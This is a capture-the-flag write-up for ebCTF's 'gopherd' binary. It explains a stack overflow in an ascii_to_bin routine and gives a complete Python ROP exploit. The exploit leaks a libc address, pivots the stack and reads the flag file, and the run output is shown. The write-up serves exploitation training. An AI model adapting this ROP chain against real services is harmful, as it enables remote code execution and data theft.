"FLAG"
by"ACCESS DENIED"
Step 1: The vuln
The vuln is in the function
ascii_to_bin
used to transform ascii MD5 to binary MD5. A simple buffer overflow can occur because the output buffer (in the caller stack frame) is too small to handle a big string.So by requesting a long string, we will be able to rewrite the return address of the caller function.
But there is another problem in
ascii_to_bin
function! The function logically uses two ascii chars to generate one bin char but iters overstrlen(input_string)
so it generates the good binary for the hash we send but also writelen(input_string)
garbage after, based on what comes afterinput_string
that we can't control.So, if we just give
gopherd
a hash that will rewrite the return address of the caller: we will fill the caller args with garbage. So here is a part ofread_from_client
:We can see that, directly after the call to
ascii_to_bin
, the function callshashlist_find
withhaslist_addr
as first argument.hashlist_addr
is an argument of the caller that have been randomly rewritten byascii to bin
.So to pass the call function to
hashlist_find
,hashlist_addr
need to be a valid pointer with[ptr + 4] == 0
(becausehashlist_find
simply iters on the values in[ptr +4]
and zero will make it return immediately without any problem. An address from the beginning of.data
will be perfect.Step 2: the sploit
So, at this point, here is the format of our exploit string:
1
sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + ret_addr + 'AAAAAAAA' + hashlist_addr
It seems that ROP would be a good idea here, so let's start! The first thing to do is to set
ret_addr
at apop_pop_ret
address to removehashlist_addr
from the stack. After that, we will be in a totally controlled ROP environment.BUT: there is another problem! The length of the
read
that thegopherd
do is just 255 bytes long. And we know that:- each address is encoded on 8 bytes (addresses must be encoded in ascii for
ascii_to_bin
), - we consume 96 chars to trigger the vuln in a exploitable way.
So we can just use:
(255 - 96) / 8 = 19
values in our ROP payload: it won't be enough to perform an"open/read/write"
payload.So we need to find a stack pivot!
RopMount
didn't find a good stackpivot ingopherd
.But we know that ebCTF is using Ubuntu 12.04 LST: so let's try in the libc!
1 2 3 4 5
$ python2 ropmount.py --dump "pop esp; ret" remote_libc.so.6 --- pop esp; ret: [base + 0x38b4] pop esp;ret ....
We have some nice and simple stack pivot in the remote libc!
So the attack will consist in 3 phases:
-
Step 1:
- ROP in
gopherd
to leak an address of the libc, - use this addr to build step 2 and 3.
- ROP in
-
Step 2:
- ROP to read stage 3 and put it in at a known location and pivot on it!
-
Step 3:
- full ROP with no length limitation,
-
I chose the following method:
- read the file name from the socket,
- open it,
- read it,
- send content to the socket!
Step 3: The full script
Here is the code used for each step with comments:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
import socket import struct import sys import ropmount import time SERVERD= "54.217.15.93" PORTD=7070 REMOTE = SERVERD, PORTD LIBC = "./remote_libc.so.6" ###HELPERS def int_to_strformat(x): """transform a raw int to the good str for remote ascii_to_bin""" nb = hex(struct.unpack(">I", struct.pack("<I", x))[0])[2:] return "0" * (8 - len(nb)) + nb def ropchain_to_str(ropchain): """transform a ropchain to a good str to remote ascii_to_bin""" str_rop = "" for addr, size in ropchain.stack.dump(): str_rop += int_to_strformat(addr) return str_rop ###EXPLOIT ##STEP 1 #The address in DATA with [ptr + 4] == 0 hashlist_addr = int_to_strformat(0x0804C0C0) #We ROP on the gopherd binary rpc = ropmount.rop_from_files(["./gopherd"]) #Here is the pop_pop_ret to clean the stack before ROP pop_pop_ret = rpc.find("{2,2} pop REG32; ret") #The presumed FD of our socket socket_fd = 4 #Get the GOT addr of read read_plt = rpc.get_symbols()['read.got'].value #Build STEP1 ROP (write was not into gopherd PLT) #Just doing send(socket_fd, read_got_addr, 4, 0) ropchain = rpc.assemble("call send,{0},{1},4,0".format(socket_fd, read_plt)) #build the full exploit string for STEP1 sploit = ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain)) #Send Step 1 and recv read addr in remote libc s = socket.create_connection(REMOTE) s.send(sploit + "\r\n") addr = s.recv(4) s.close() read_addr = struct.unpack("<I", addr)[0] ##STEP 2 #Now we ROP on gopherd AND the libc full_rpc = ropmount.rop_from_files(["./gopherd", LIBC]) #Get libc_base from leaked addr + read offset into libc libc_base = read_addr - full_rpc.mapfile[LIBC].get_symbols()['read'].value print("libc base : {0}".format(hex(libc_base))) #Tell to ropmount where is located remote libc to craft RopStack full_rpc.mapfile[LIBC].fix_baseaddr(libc_base) #Buffer used to store filename buff = 0x0804C0C0 #New stack location for the pivot new_stack = buff + 100 #Assemble STEP2 : # - read STEP3 into new_stack # - set esp to new_stack ropchain_load = full_rpc.assemble('call read,{1},{0},0x1000; set esp,{0}'.format(new_stack, socket_fd)) #Build the full exploit string for STEP2 sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain_load) #Send STEP2 s = socket.create_connection(REMOTE) s.send(sploit + "\r\n") time.sleep(1) #Now remote is waiting for STEP3 #STEP3 #The presumed socket of the newly opened file file_fd = socket_fd - 1 #Assemble STEP3 # - read filename from socket_fd into buff # - open file # - read file into into buff # - write buff into socket_fd last_rop = full_rpc.assemble("call read,{1},{0},50; call open,{0},4;call read,{2},{0},100; call write,{1},{0},100".format(buff, socket_fd, file_fd)) #We are not passing through ascii_to_bin anymore: raw binary ROP s.send(last_rop.stack.dump('raw')) time.sleep(1) #Now remote is waiting for filename s.send("./goproot/FLAG") #print content of filename print("------") print(s.recv(100))
Step 4: Launch
1 2 3 4 5 6 7 8
$ python2 client.py libc base : 0xf7617000 ------ 0h my g0d, I am defeat. Here, take this: ebCTF{35a6673b2243c925e02e85dfa916036f}
- a request just composed of